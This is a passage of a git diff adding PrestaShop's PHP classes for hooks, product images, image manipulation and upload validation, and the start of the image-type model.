Hook::getHookModuleList(); + return true; + } + + /** + * Return hook ID from name + * + * @param string $hookName Hook name + * @return integer Hook ID + * + * @deprecated since 1.5.0 use Hook::getIdByName() instead + */ + public static function get($hookName) + { + Tools::displayAsDeprecated(); + if (!Validate::isHookName($hookName)) + die(Tools::displayError()); + + $result = Db::getInstance()->getRow(' + SELECT `id_hook`, `name` + FROM `'._DB_PREFIX_.'hook` + WHERE `name` = \''.pSQL($hookName).'\''); + + return ($result ? $result['id_hook'] : false); + } + + /** + * Called when quantity of a product is updated. + * + * @param Product + * @param Order + */ + public static function newOrder($cart, $order, $customer, $currency, $orderStatus) + { + Tools::displayAsDeprecated(); + return Hook::exec('newOrder', array( + 'cart' => $cart, + 'order' => $order, + 'customer' => $customer, + 'currency' => $currency, + 'orderStatus' => $orderStatus)); + } + + /** + * @deprecated 1.5.0 + */ + public static function updateQuantity($product, $order = null) + { + Tools::displayAsDeprecated(); + return Hook::exec('updateQuantity', array('product' => $product, 'order' => $order)); + } + + /** + * @deprecated 1.5.0 + */ + public static function productFooter($product, $category) + { + Tools::displayAsDeprecated(); + return Hook::exec('productFooter', array('product' => $product, 'category' => $category)); + } + + /** + * @deprecated 1.5.0 + */ + public static function productOutOfStock($product) + { + Tools::displayAsDeprecated(); + return Hook::exec('productOutOfStock', array('product' => $product)); + } + + /** + * @deprecated 1.5.0 + */ + public static function addProduct($product) + { + Tools::displayAsDeprecated(); + return Hook::exec('addProduct', array('product' => $product)); + } + + /** + * @deprecated 1.5.0 + */ + public static function updateProduct($product) + { + Tools::displayAsDeprecated(); + return Hook::exec('updateProduct', array('product' => $product)); + } + + /** + * @deprecated 1.5.0 + */ + public static function deleteProduct($product) + { + Tools::displayAsDeprecated(); + return Hook::exec('deleteProduct', array('product' => $product)); + } + + /** + * @deprecated 1.5.0 + */ + public static function updateProductAttribute($id_product_attribute) + { + Tools::displayAsDeprecated(); + return Hook::exec('updateProductAttribute', array('id_product_attribute' => $id_product_attribute)); + } +} + diff --git a/classes/Image.php b/classes/Image.php new file mode 100755 index 0000000..f2b749b --- /dev/null +++ b/classes/Image.php @@ -0,0 +1,694 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ImageCore extends ObjectModel +{ + public $id; + + /** @var integer Image ID */ + public $id_image; + + /** @var integer Product ID */ + public $id_product; + + /** @var integer Position used to order images of the same product */ + public $position; + + /** @var boolean Image is cover */ + public $cover; + + /** @var string image extension */ + public $image_format = 'jpg'; + + /** @var string path to index.php file to be copied to new image folders */ + public $source_index; + + /** @var string image folder */ + protected $folder; + + /** @var string image path without extension */ + protected $existing_path; + + /** @var int access rights of created folders (octal) */ + protected static $access_rights = 0775; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'image', + 'primary' => 'id_image', + 'multilang' => true, + 'fields' => array( + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'position' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'cover' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'shop' => true), + ), + ); + + protected static $_cacheGetSize = array(); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + $this->image_dir = _PS_PROD_IMG_DIR_; + $this->source_index = _PS_PROD_IMG_DIR_.'index.php'; + } + + public function add($autodate = true, $null_values = false) + { + if ($this->position <= 0) + $this->position = Image::getHighestPosition($this->id_product) + 1; + + return parent::add($autodate, $null_values); + } + + public function delete() + { + if (!parent::delete()) + return false; + + if ($this->hasMultishopEntries()) + return true; + + if (!$this->deleteProductAttributeImage() || !$this->deleteImage()) + return false; + + // update positions + $result = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'image` + WHERE `id_product` = '.(int)$this->id_product.' + ORDER BY `position` + '); + $i = 1; + if ($result) + foreach ($result as $row) + { + $row['position'] = $i++; + Db::getInstance()->update($this->def['table'], $row, '`id_image` = '.(int)$row['id_image'], 1); + } + + return true; + } + + /** + * Return available images for a product + * + * @param integer $id_lang Language ID + * @param integer $id_product Product ID + * @return array Images + */ + public static function getImages($id_lang, $id_product) + { + return Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'image` i + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image`) + WHERE i.`id_product` = '.(int)$id_product.' AND il.`id_lang` = '.(int)$id_lang.' + ORDER BY i.`position` ASC'); + } + + /** + * Return Images + * + * @return array Images + */ + public static function getAllImages() + { + return Db::getInstance()->executeS(' + SELECT `id_image`, `id_product` + FROM `'._DB_PREFIX_.'image` + ORDER BY `id_image` ASC'); + } + + /** + * Return number of images for a product + * + * @param integer $id_product Product ID + * @return integer number of images + */ + public static function getImagesTotal($id_product) + { + $result = Db::getInstance()->getRow(' + SELECT COUNT(`id_image`) AS total + FROM `'._DB_PREFIX_.'image` + WHERE `id_product` = '.(int)$id_product); + return $result['total']; + } + + /** + * Return highest position of images for a product + * + * @param integer $id_product Product ID + * @return integer highest position of images + */ + public static function getHighestPosition($id_product) + { + $result = Db::getInstance()->getRow(' + SELECT MAX(`position`) AS max + FROM `'._DB_PREFIX_.'image` + WHERE `id_product` = '.(int)$id_product); + return $result['max']; + } + + /** + * Delete product cover + * + * @param integer $id_product Product ID + * @return boolean result + */ + public static function deleteCover($id_product) + { + if (!Validate::isUnsignedId($id_product)) + die(Tools::displayError()); + + if (file_exists(_PS_TMP_IMG_DIR_.'product_'.$id_product.'.jpg')) + unlink(_PS_TMP_IMG_DIR_.'product_'.$id_product.'.jpg'); + + return (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `cover` = 0 + WHERE `id_product` = '.(int)$id_product + ) && + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` i, `'._DB_PREFIX_.'image_shop` image_shop + SET image_shop.`cover` = 0 + WHERE image_shop.id_shop IN ('.implode(',', array_map('intval', Shop::getContextListShopID())).') AND image_shop.id_image = i.id_image AND i.`id_product` = '.(int)$id_product + )); + } + + /** + *Get product cover + * + * @param integer $id_product Product ID + * @return boolean result + */ + public static function getCover($id_product) + { + return Db::getInstance()->getRow(' + SELECT * FROM `'._DB_PREFIX_.'image` i'. + Shop::addSqlAssociation('image', 'i').' + WHERE `id_product` = '.(int)$id_product.' + AND image_shop.`cover`= 1'); + } + + /** + * Copy images from a product to another + * + * @param integer $id_product_old Source product ID + * @param boolean $id_product_new Destination product ID + */ + public static function duplicateProductImages($id_product_old, $id_product_new, $combination_images) + { + $images_types = ImageType::getImagesTypes('products'); + $result = Db::getInstance()->executeS(' + SELECT `id_image` + FROM `'._DB_PREFIX_.'image` + WHERE `id_product` = '.(int)$id_product_old); + foreach ($result as $row) + { + $image_old = new Image($row['id_image']); + $image_new = clone $image_old; + unset($image_new->id); + $image_new->id_product = (int)$id_product_new; + + // A new id is generated for the cloned image when calling add() + if ($image_new->add()) + { + $new_path = $image_new->getPathForCreation(); + foreach ($images_types as $image_type) + { + if (file_exists(_PS_PROD_IMG_DIR_.$image_old->getExistingImgPath().'-'.$image_type['name'].'.jpg')) + { + if (!Configuration::get('PS_LEGACY_IMAGES')) + $image_new->createImgFolder(); + copy(_PS_PROD_IMG_DIR_.$image_old->getExistingImgPath().'-'.$image_type['name'].'.jpg', + $new_path.'-'.$image_type['name'].'.jpg'); + } + } + + if (file_exists(_PS_PROD_IMG_DIR_.$image_old->getExistingImgPath().'.jpg')) + copy(_PS_PROD_IMG_DIR_.$image_old->getExistingImgPath().'.jpg', $new_path.'.jpg'); + + Image::replaceAttributeImageAssociationId($combination_images, (int)$image_old->id, (int)$image_new->id); + + // Duplicate shop associations for images + $image_new->duplicateShops($id_product_old); + } + else + return false; + } + return Image::duplicateAttributeImageAssociations($combination_images); + } + + protected static function replaceAttributeImageAssociationId(&$combination_images, $saved_id, $id_image) + { + if (!isset($combination_images['new']) || !is_array($combination_images['new'])) + return; + foreach ($combination_images['new'] as $id_product_attribute => $image_ids) + foreach ($image_ids as $key => $image_id) + if ((int)$image_id == (int)$saved_id) + $combination_images['new'][$id_product_attribute][$key] = (int)$id_image; + } + + /** + * Duplicate product attribute image associations + * @param integer $id_product_attribute_old + * @return boolean + */ + public static function duplicateAttributeImageAssociations($combination_images) + { + if (!isset($combination_images['new']) || !is_array($combination_images['new'])) + return true; + $query = 'INSERT INTO `'._DB_PREFIX_.'product_attribute_image` (`id_product_attribute`, `id_image`) VALUES '; + foreach ($combination_images['new'] as $id_product_attribute => $image_ids) + foreach ($image_ids as $image_id) + $query .= '('.(int)$id_product_attribute.', '.(int)$image_id.'), '; + $query = rtrim($query, ', '); + return DB::getInstance()->execute($query); + } + + /** + * Reposition image + * + * @param integer $position Position + * @param boolean $direction Direction + * @deprecated since version 1.5.0.1 use Image::updatePosition() instead + */ + public function positionImage($position, $direction) + { + Tools::displayAsDeprecated(); + + $position = (int)$position; + $direction = (int)$direction; + + // temporary position + $high_position = Image::getHighestPosition($this->id_product) + 1; + + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `position` = '.(int)$high_position.' + WHERE `id_product` = '.(int)$this->id_product.' + AND `position` = '.($direction ? $position - 1 : $position + 1)); + + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `position` = `position`'.($direction ? '-1' : '+1').' + WHERE `id_image` = '.(int)$this->id); + + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `position` = '.$this->position.' + WHERE `id_product` = '.(int)$this->id_product.' + AND `position` = '.(int)$high_position); + } + + /** + * Change an image position and update relative positions + * + * @param int $way position is moved up if 0, moved down if 1 + * @param int $position new position of the moved image + * @return int success + */ + public function updatePosition($way, $position) + { + if (!isset($this->id) || !$position) + return false; + + // < and > statements rather than BETWEEN operator + // since BETWEEN is treated differently according to databases + $result = (Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `position`= `position` '.($way ? '- 1' : '+ 1').' + WHERE `position` + '.($way + ? '> '.(int)$this->position.' AND `position` <= '.(int)$position + : '< '.(int)$this->position.' AND `position` >= '.(int)$position).' + AND `id_product`='.(int)$this->id_product) + && Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'image` + SET `position` = '.(int)$position.' + WHERE `id_image` = '.(int)$this->id_image)); + + return $result; + } + + public static function getSize($type) + { + if (!isset(self::$_cacheGetSize[$type]) || self::$_cacheGetSize[$type] === null) + self::$_cacheGetSize[$type] = Db::getInstance()->getRow(' + SELECT `width`, `height` + FROM '._DB_PREFIX_.'image_type + WHERE `name` = \''.pSQL($type).'\' + '); + return self::$_cacheGetSize[$type]; + } + + public static function getWidth($params, &$smarty) + { + $result = self::getSize($params['type']); + return $result['width']; + } + + public static function getHeight($params, &$smarty) + { + $result = self::getSize($params['type']); + return $result['height']; + } + + /** + * Clear all images in tmp dir + */ + public static function clearTmpDir() + { + foreach (scandir(_PS_TMP_IMG_DIR_) as $d) + if (preg_match('/(.*)\.jpg$/', $d)) + unlink(_PS_TMP_IMG_DIR_.$d); + } + /** + * Delete Image - Product attribute associations for this image + */ + public function deleteProductAttributeImage() + { + return Db::getInstance()->execute(' + DELETE + FROM `'._DB_PREFIX_.'product_attribute_image` + WHERE `id_image` = '.(int)$this->id + ); + } + + /** + * Delete the product image from disk and remove the containing folder if empty + * Handles both legacy and new image filesystems + */ + public function deleteImage($force_delete = false) + { + if (!$this->id) + return false; + + // Delete base image + if (file_exists($this->image_dir.$this->getExistingImgPath().'.'.$this->image_format)) + unlink($this->image_dir.$this->getExistingImgPath().'.'.$this->image_format); + else + return false; + + $files_to_delete = array(); + + // Delete auto-generated images + $image_types = ImageType::getImagesTypes(); + foreach ($image_types as $image_type) + $files_to_delete[] = $this->image_dir.$this->getExistingImgPath().'-'.$image_type['name'].'.'.$this->image_format; + + // Delete watermark image + $files_to_delete[] = $this->image_dir.$this->getExistingImgPath().'-watermark.'.$this->image_format; + // delete index.php + $files_to_delete[] = $this->image_dir.$this->getImgFolder().'index.php'; + // Delete tmp images + $files_to_delete[] = _PS_TMP_IMG_DIR_.'product_'.$this->id_product.'.'.$this->image_format; + $files_to_delete[] = _PS_TMP_IMG_DIR_.'product_mini_'.$this->id_product.'.'.$this->image_format; + + foreach ($files_to_delete as $file) + if (file_exists($file) && !@unlink($file)) + return false; + + // Can we delete the image folder? + if (is_dir($this->image_dir.$this->getImgFolder())) + { + $delete_folder = true; + foreach (scandir($this->image_dir.$this->getImgFolder()) as $file) + if (($file != '.' && $file != '..')) + { + $delete_folder = false; + break; + } + } + if (isset($delete_folder) && $delete_folder) + @rmdir($this->image_dir.$this->getImgFolder()); + + return true; + } + + /** + * Recursively deletes all product images in the given folder tree and removes empty folders. + * + * @param string $path folder containing the product images to delete + * @param string $format image format + * @return bool success + */ + public static function deleteAllImages($path, $format = 'jpg') + { + if (!$path || !$format || !is_dir($path)) + return false; + foreach (scandir($path) as $file) + { + if (preg_match('/^[0-9]+(\-(.*))?\.'.$format.'$/', $file)) + unlink($path.$file); + else if (is_dir($path.$file) && (preg_match('/^[0-9]$/', $file))) + Image::deleteAllImages($path.$file.'/', $format); + } + + // Can we remove the image folder? + if (is_numeric(basename($path))) + { + $remove_folder = true; + foreach (scandir($path) as $file) + if (($file != '.' && $file != '..' && $file != 'index.php')) + { + $remove_folder = false; + break; + } + + if ($remove_folder) + { + // we're only removing index.php if it's a folder we want to delete + if (file_exists($path.'index.php')) + @unlink ($path.'index.php'); + @rmdir($path); + } + } + + return true; + } + + /** + * Returns image path in the old or in the new filesystem + * + * @ returns string image path + */ + public function getExistingImgPath() + { + if (!$this->id) + return false; + + if (!$this->existing_path) + { + if (Configuration::get('PS_LEGACY_IMAGES') && file_exists(_PS_PROD_IMG_DIR_.$this->id_product.'-'.$this->id.'.'.$this->image_format)) + $this->existing_path = $this->id_product.'-'.$this->id; + else + $this->existing_path = $this->getImgPath(); + } + + return $this->existing_path; + } + + /** + * Returns the path to the folder containing the image in the new filesystem + * + * @return string path to folder + */ + public function getImgFolder() + { + if (!$this->id) + return false; + + if (!$this->folder) + $this->folder = Image::getImgFolderStatic($this->id); + + return $this->folder; + } + + /** + * Create parent folders for the image in the new filesystem + * + * @return bool success + */ + public function createImgFolder() + { + if (!$this->id) + return false; + + if (!file_exists(_PS_PROD_IMG_DIR_.$this->getImgFolder())) + { + // Apparently sometimes mkdir cannot set the rights, and sometimes chmod can't. Trying both. + $success = @mkdir(_PS_PROD_IMG_DIR_.$this->getImgFolder(), self::$access_rights, true); + $chmod = @chmod(_PS_PROD_IMG_DIR_.$this->getImgFolder(), self::$access_rights); + + // Create an index.php file in the new folder + if (($success || $chmod) + && !file_exists(_PS_PROD_IMG_DIR_.$this->getImgFolder().'index.php') + && file_exists($this->source_index)) + return @copy($this->source_index, _PS_PROD_IMG_DIR_.$this->getImgFolder().'index.php'); + } + return true; + } + + /** + * Returns the path to the image without file extension + * + * @return string path + */ + public function getImgPath() + { + if (!$this->id) + return false; + + $path = $this->getImgFolder().$this->id; + return $path; + } + + /** + * Returns the path to the folder containing the image in the new filesystem + * + * @param mixed $id_image + * @return string path to folder + */ + public static function getImgFolderStatic($id_image) + { + if (!is_numeric($id_image)) + return false; + $folders = str_split((string)$id_image); + return implode('/', $folders).'/'; + } + + /** + * Move all legacy product image files from the image folder root to their subfolder in the new filesystem. + * If max_execution_time is provided, stops before timeout and returns string "timeout". + * If any image cannot be moved, stops and returns "false" + * + * @param int max_execution_time + * @return mixed success or timeout + */ + public static function moveToNewFileSystem($max_execution_time = 0) + { + $start_time = time(); + $image = null; + $tmp_folder = 'duplicates/'; + foreach (scandir(_PS_PROD_IMG_DIR_) as $file) + { + // matches the base product image or the thumbnails + if (preg_match('/^([0-9]+\-)([0-9]+)(\-(.*))?\.jpg$/', $file, $matches)) + { + // don't recreate an image object for each image type + if (!$image || $image->id !== (int)$matches[2]) + $image = new Image((int)$matches[2]); + // image exists in DB and with the correct product? + if (Validate::isLoadedObject($image) && $image->id_product == (int)rtrim($matches[1], '-')) + { + // create the new folder if it does not exist + if (!$image->createImgFolder()) + return false; + + // if there's already a file at the new image path, move it to a dump folder + // most likely the preexisting image is a demo image not linked to a product and it's ok to replace it + $new_path = _PS_PROD_IMG_DIR_.$image->getImgPath().(isset($matches[3]) ? $matches[3] : '').'.jpg'; + if (file_exists($new_path)) + { + if (!file_exists(_PS_PROD_IMG_DIR_.$tmp_folder)) + { + @mkdir(_PS_PROD_IMG_DIR_.$tmp_folder, self::$access_rights); + @chmod(_PS_PROD_IMG_DIR_.$tmp_folder, self::$access_rights); + } + $tmp_path = _PS_PROD_IMG_DIR_.$tmp_folder.basename($file); + if (!@rename($new_path, $tmp_path) || !file_exists($tmp_path)) + return false; + } + // move the image + if (!@rename(_PS_PROD_IMG_DIR_.$file, $new_path) || !file_exists($new_path)) + return false; + } + } + if ((int)$max_execution_time != 0 && (time() - $start_time > (int)$max_execution_time - 4)) + return 'timeout'; + } + return true; + } + + /** + * Try to create and delete some folders to check if moving images to new file system will be possible + * + * @return boolean success + */ + public static function testFileSystem() + { + $safe_mode = ini_get('safe_mode'); + if ($safe_mode) + return false; + $folder1 = _PS_PROD_IMG_DIR_.'testfilesystem/'; + $test_folder = $folder1.'testsubfolder/'; + // check if folders are already existing from previous failed test + if (file_exists($test_folder)) + { + @rmdir($test_folder); + @rmdir($folder1); + } + if (file_exists($test_folder)) + return false; + + @mkdir($test_folder, self::$access_rights, true); + @chmod($test_folder, self::$access_rights); + if (!is_writeable($test_folder)) + return false; + @rmdir($test_folder); + @rmdir($folder1); + if (file_exists($folder1)) + return false; + return true; + } + + /** + * Returns the path where a product image should be created (without file format) + * + * @return string path + */ + public function getPathForCreation() + { + if (!$this->id) + return false; + if (Configuration::get('PS_LEGACY_IMAGES')) + { + if (!$this->id_product) + return false; + $path = $this->id_product.'-'.$this->id; + } + else + { + $path = $this->getImgPath(); + $this->createImgFolder(); + } + return _PS_PROD_IMG_DIR_.$path; + } +} diff --git a/classes/ImageManager.php b/classes/ImageManager.php new file mode 100755 index 0000000..c7500c8 --- /dev/null +++ b/classes/ImageManager.php @@ -0,0 +1,446 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This class includes functions for image manipulation + * + * @since 1.5.0 + */ +class ImageManagerCore +{ + /** + * Generate a cached thumbnail for object lists (eg. carrier, order states...etc) + * + * @param string $image Real image filename + * @param string $cache_image Cached filename + * @param int $size Desired size + * @param string $image_type Image type + * @param bool $disable_cache When turned on a timestamp will be added to the image URI to disable the HTTP cache + * @return string + */ + public static function thumbnail($image, $cache_image, $size, $image_type = 'jpg', $disable_cache = false) + { + if (!file_exists($image)) + return ''; + + if (!file_exists(_PS_TMP_IMG_DIR_.$cache_image)) + { + $infos = getimagesize($image); + + // Evaluate the memory required to resize the image: if it's too much, you can't resize it. + if (!ImageManager::checkImageMemoryLimit($image)) + return false; + + $x = $infos[0]; + $y = $infos[1]; + $max_x = $size * 3; + + // Size is already ok + if ($y < $size && $x <= $max_x) + copy($image, _PS_TMP_IMG_DIR_.$cache_image); + // We need to resize */ + else + { + $ratio_x = $x / ($y / $size); + if ($ratio_x > $max_x) + { + $ratio_x = $max_x; + $size = $y / ($x / $max_x); + } + + ImageManager::resize($image, _PS_TMP_IMG_DIR_.$cache_image, $ratio_x, $size, $image_type); + } + } + // Relative link will always work, whatever the base uri set in the admin + if (Context::getContext()->controller->controller_type == 'admin') + return ''; + else + return ''; + } + + /** + * Check if memory limit is too long or not + * + * @static + * @param $image + * @return bool + */ + public static function checkImageMemoryLimit($image) + { + $infos = @getimagesize($image); + + $memory_limit = Tools::getMemoryLimit(); + // memory_limit == -1 => unlimited memory + if (function_exists('memory_get_usage') && (int)$memory_limit != -1) + { + $current_memory = memory_get_usage(); + $channel = isset($infos['channels']) ? ($infos['channels'] / 8) : 1; + + // Evaluate the memory required to resize the image: if it's too much, you can't resize it. + if (($infos[0] * $infos[1] * $infos['bits'] * $channel + pow(2, 16)) * 1.8 + $current_memory > $memory_limit - 1024 * 1024) + return false; + } + + return true; + } + + /** + * Resize, cut and optimize image + * + * @param string $src_file Image object from $_FILE + * @param string $dst_file Destination filename + * @param integer $dst_width Desired width (optional) + * @param integer $dst_height Desired height (optional) + * @param string $file_type + * @return boolean Operation result + */ + public static function resize($src_file, $dst_file, $dst_width = null, $dst_height = null, $file_type = 'jpg', $force_type = false) + { + if (PHP_VERSION_ID < 50300) + clearstatcache(); + else + clearstatcache(true, $src_file); + + if (!file_exists($src_file) || !filesize($src_file)) + return false; + list($src_width, $src_height, $type) = getimagesize($src_file); + + // If PS_IMAGE_QUALITY is activated, the generated image will be a PNG with .jpg as a file extension. + // This allow for higher quality and for transparency. JPG source files will also benefit from a higher quality + // because JPG reencoding by GD, even with max quality setting, degrades the image. + if (Configuration::get('PS_IMAGE_QUALITY') == 'png_all' + || (Configuration::get('PS_IMAGE_QUALITY') == 'png' && $type == IMAGETYPE_PNG) && !$force_type) + $file_type = 'png'; + + if (!$src_width) + return false; + if (!$dst_width) + $dst_width = $src_width; + if (!$dst_height) + $dst_height = $src_height; + + $src_image = ImageManager::create($type, $src_file); + + $width_diff = $dst_width / $src_width; + $height_diff = $dst_height / $src_height; + + if ($width_diff > 1 && $height_diff > 1) + { + $next_width = $src_width; + $next_height = $src_height; + } + else + { + if (Configuration::get('PS_IMAGE_GENERATION_METHOD') == 2 || (!Configuration::get('PS_IMAGE_GENERATION_METHOD') && $width_diff > $height_diff)) + { + $next_height = $dst_height; + $next_width = round(($src_width * $next_height) / $src_height); + $dst_width = (int)(!Configuration::get('PS_IMAGE_GENERATION_METHOD') ? $dst_width : $next_width); + } + else + { + $next_width = $dst_width; + $next_height = round($src_height * $dst_width / $src_width); + $dst_height = (int)(!Configuration::get('PS_IMAGE_GENERATION_METHOD') ? $dst_height : $next_height); + } + } + + if (!ImageManager::checkImageMemoryLimit($src_file)) + return false; + + $dest_image = imagecreatetruecolor($dst_width, $dst_height); + + // If image is a PNG and the output is PNG, fill with transparency. Else fill with white background. + if ($file_type == 'png' && $type == IMAGETYPE_PNG) + { + imagealphablending($dest_image, false); + imagesavealpha($dest_image, true); + $transparent = imagecolorallocatealpha($dest_image, 255, 255, 255, 127); + imagefilledrectangle($dest_image, 0, 0, $dst_width, $dst_height, $transparent); + } + else + { + $white = imagecolorallocate($dest_image, 255, 255, 255); + imagefilledrectangle ($dest_image, 0, 0, $dst_width, $dst_height, $white); + } + + imagecopyresampled($dest_image, $src_image, (int)(($dst_width - $next_width) / 2), (int)(($dst_height - $next_height) / 2), 0, 0, $next_width, $next_height, $src_width, $src_height); + return (ImageManager::write($file_type, $dest_image, $dst_file)); + } + + /** + * Check if file is a real image + * + * @param string $filename File path to check + * @param string $file_mime_type File known mime type (generally from $_FILES) + * @param array $mime_type_list Allowed MIME types + * @return bool + */ + public static function isRealImage($filename, $file_mime_type = null, $mime_type_list = null) + { + // Detect mime content type + $mime_type = false; + if (!$mime_type_list) + $mime_type_list = array('image/gif', 'image/jpg', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png'); + + // Try 4 different methods to determine the mime type + if (function_exists('finfo_open')) + { + $const = defined('FILEINFO_MIME_TYPE') ? FILEINFO_MIME_TYPE : FILEINFO_MIME; + $finfo = finfo_open($const); + $mime_type = finfo_file($finfo, $filename); + finfo_close($finfo); + } + elseif (function_exists('mime_content_type')) + $mime_type = mime_content_type($filename); + elseif (function_exists('exec')) + { + $mime_type = trim(exec('file -b --mime-type '.escapeshellarg($filename))); + if (!$mime_type) + $mime_type = trim(exec('file --mime '.escapeshellarg($filename))); + if (!$mime_type) + $mime_type = trim(exec('file -bi '.escapeshellarg($filename))); + } + + if ($file_mime_type && (empty($mime_type) || $mime_type == 'regular file' || $mime_type == 'text/plain')) + $mime_type = $file_mime_type; + + // For each allowed MIME type, we are looking for it inside the current MIME type + foreach ($mime_type_list as $type) + if (strstr($mime_type, $type)) + return true; + + return false; + } + + /** + * Check if image file extension is correct + * + * @static + * @param $filename real filename + * @return bool true if it's correct + */ + public static function isCorrectImageFileExt($filename) + { + // Filter on file extension + $authorized_extensions = array('gif', 'jpg', 'jpeg', 'jpe', 'png'); + $name_explode = explode('.', $filename); + if (count($name_explode) >= 2) + { + $current_extension = strtolower($name_explode[count($name_explode) - 1]); + if (!in_array($current_extension, $authorized_extensions)) + return false; + } + else + return false; + + return true; + } + + /** + * Validate image upload (check image type and weight) + * + * @param array $file Upload $_FILE value + * @param integer $max_file_size Maximum upload size + * @return bool|string Return false if no error encountered + */ + public static function validateUpload($file, $max_file_size = 0) + { + if ((int)$max_file_size > 0 && $file['size'] > (int)$max_file_size) + return sprintf(Tools::displayError('Image is too large (%1$d kB). Maximum allowed: %2$d kB'), $file['size'] / 1024, $max_file_size / 1024); + if (!ImageManager::isRealImage($file['tmp_name'], $file['type']) || !ImageManager::isCorrectImageFileExt($file['name'])) + return Tools::displayError('Image format not recognized, allowed formats are: .gif, .jpg, .png'); + if ($file['error']) + return sprintf(Tools::displayError('Error while uploading image; please change your server\'s settings. (Error code: %s)'), $file['error']); + return false; + } + + /** + * Validate icon upload + * + * @param array $file Upload $_FILE value + * @param int $max_file_size Maximum upload size + * @return bool|string Return false if no error encountered + */ + public static function validateIconUpload($file, $max_file_size = 0) + { + if ((int)$max_file_size > 0 && $file['size'] > $max_file_size) + return sprintf( + Tools::displayError('Image is too large (%1$d kB). Maximum allowed: %2$d kB'), + $file['size'] / 1000, + $max_file_size / 1000 + ); + if (substr($file['name'], -4) != '.ico') + return Tools::displayError('Image format not recognized, allowed formats are: .ico'); + if ($file['error']) + return Tools::displayError('Error while uploading image; please change your server\'s settings.'); + return false; + } + + /** + * Cut image + * + * @param array $src_file Origin filename + * @param string $dst_file Destination filename + * @param integer $dst_width Desired width + * @param integer $dst_height Desired height + * @param string $file_type + * @param int $dst_x + * @param int $dst_y + * + * @return bool Operation result + */ + public static function cut($src_file, $dst_file, $dst_width = null, $dst_height = null, $file_type = 'jpg', $dst_x = 0, $dst_y = 0) + { + if (!file_exists($src_file)) + return false; + + // Source information + $src_info = getimagesize($src_file); + $src = array( + 'width' => $src_info[0], + 'height' => $src_info[1], + 'ressource' => ImageManager::create($src_info[2], $src_file), + ); + + // Destination information + $dest = array(); + $dest['x'] = $dst_x; + $dest['y'] = $dst_y; + $dest['width'] = !is_null($dst_width) ? $dst_width : $src['width']; + $dest['height'] = !is_null($dst_height) ? $dst_height : $src['height']; + $dest['ressource'] = ImageManager::createWhiteImage($dest['width'], $dest['height']); + + $white = imagecolorallocate($dest['ressource'], 255, 255, 255); + imagecopyresampled($dest['ressource'], $src['ressource'], 0, 0, $dest['x'], $dest['y'], $dest['width'], $dest['height'], $dest['width'], $dest['height']); + imagecolortransparent($dest['ressource'], $white); + $return = ImageManager::write($file_type, $dest['ressource'], $dst_file); + return $return; + } + + /** + * Create an image with GD extension from a given type + * + * @param string $type + * @param string $filename + * @return resource + */ + public static function create($type, $filename) + { + switch ($type) + { + case IMAGETYPE_GIF : + return imagecreatefromgif($filename); + break; + + case IMAGETYPE_PNG : + return imagecreatefrompng($filename); + break; + + case IMAGETYPE_JPEG : + default: + return imagecreatefromjpeg($filename); + break; + } + } + + /** + * Create an empty image with white background + * + * @param int $width + * @param int $height + * @return resource + */ + public static function createWhiteImage($width, $height) + { + $image = imagecreatetruecolor($width, $height); + $white = imagecolorallocate($image, 255, 255, 255); + imagefill($image, 0, 0, $white); + return $image; + } + + /** + * Generate and write image + * + * @param string $type + * @param resource $resource + * @param string $filename + * @return bool + */ + public static function write($type, $resource, $filename) + { + switch ($type) + { + case 'gif': + $success = imagegif($resource, $filename); + break; + + case 'png': + $quality = (Configuration::get('PS_PNG_QUALITY') === false ? 7 : Configuration::get('PS_PNG_QUALITY')); + $success = imagepng($resource, $filename, (int)$quality); + break; + + case 'jpg': + case 'jpeg': + default: + $quality = (Configuration::get('PS_JPEG_QUALITY') === false ? 90 : Configuration::get('PS_JPEG_QUALITY')); + $success = imagejpeg($resource, $filename, (int)$quality); + break; + } + imagedestroy($resource); + @chmod($filename, 0664); + return $success; + } + + /** + * Return the mime type by the file extension + * + * @param string $file_name + * @return string + */ + public static function getMimeTypeByExtension($file_name) + { + $types = array( + 'image/gif' => array('gif'), + 'image/jpeg' => array('jpg', 'jpeg'), + 'image/png' => array('png') + ); + $extension = substr($file_name, strrpos($file_name, '.') + 1); + + $mime_type = null; + foreach ($types as $mime => $exts) + if (in_array($extension, $exts)) + { + $mime_type = $mime; + break; + } + + if ($mime_type === null) + $mime_type = 'image/jpeg'; + + return $mime_type; + } +} diff --git a/classes/ImageType.php b/classes/ImageType.php new file mode 100755 index 0000000..8c4338c --- /dev/null +++ b/classes/ImageType.php @@ -0,0 +1,158 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ImageTypeCore extends ObjectModel +{ + public $id; + + /** @var string Name */ + public $name; + + /** @var integer Width */ + public $width; + + /** @var integer Height */ + public $height; + + /** @var boolean Apply to products */ + public $products; + + /** @var integer Apply to categories */ + public $categories; + + /** @var integer Apply to manufacturers */ + public $manufacturers; + + /** @var integer Apply to suppliers */ + public $suppliers; + + /** @var integer Apply to scenes */ + public $scenes; + + /** @var integer Apply to store */ + public $stores; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( 